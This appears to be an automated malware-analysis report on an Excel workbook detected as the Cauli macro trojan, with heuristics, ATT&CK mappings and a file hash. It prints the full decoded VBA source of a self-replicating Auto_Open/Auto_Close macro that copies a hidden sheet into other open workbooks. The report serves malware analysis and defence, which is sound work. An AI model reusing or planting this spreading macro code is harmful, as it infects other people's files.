MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature Xls.Trojan.Cauli-1. It contains VBA macros, specifically an Auto_Open subroutine, which is designed to infect other workbooks by copying its own sheet. The macro also checks the current date against a deadline and may display a message about depression and Prozac, suggesting a social engineering or distraction element.
Heuristics 4
-
ClamAV: Xls.Trojan.Cauli-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Cauli-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1273 bytes |
SHA-256: 290ddffd088da786d3116f20dfa364f79c56b6f2e72159032a34bc2f3e6b80c7 |
|||
|
Detection
ClamAV:
Xls.Trojan.Cauli-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "cauliflower"
Option Private Module
Private Const deadline = 36161 '01/01/1999
Sub Auto_Open()
On Error GoTo finish
Application.ScreenUpdating = False
For Each wb In Workbooks
If Not wb.Saved Then
infect = True
For Each mdl In wb.Modules
If mdl.Name = "cauliflower" Then
infect = False
Exit For
End If
Next
If infect Then
' *** MULTIPLYING SUBROUTINE STARTS HERE
ThisWorkbook.Sheets("cauliflower").Copy before:=wb.Sheets(1)
ActiveWindow.SelectedSheets.Visible = False
' *** MULTIPLYING SUBROUTINE ENDS HERE
End If
End If
Next
If DateValue(Date) >= deadline Then
'*** THE "FUNNY MESSAGE" SUBROUTINE STARTS HERE
answer = MsgBox("Are you depressed", vbYesNo, "LILLY RESCUE MISSION")
If answer = vbYes Then
MsgBox ("Depression hurts. PROZAC can help.")
End If
'*** THE "FUNNY MESSAGE" SUBROUTINE ENDS HERE
End If
finish:
ThisWorkbook.Activate
Application.ScreenUpdating = True
End Sub
Sub Auto_Close()
Auto_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.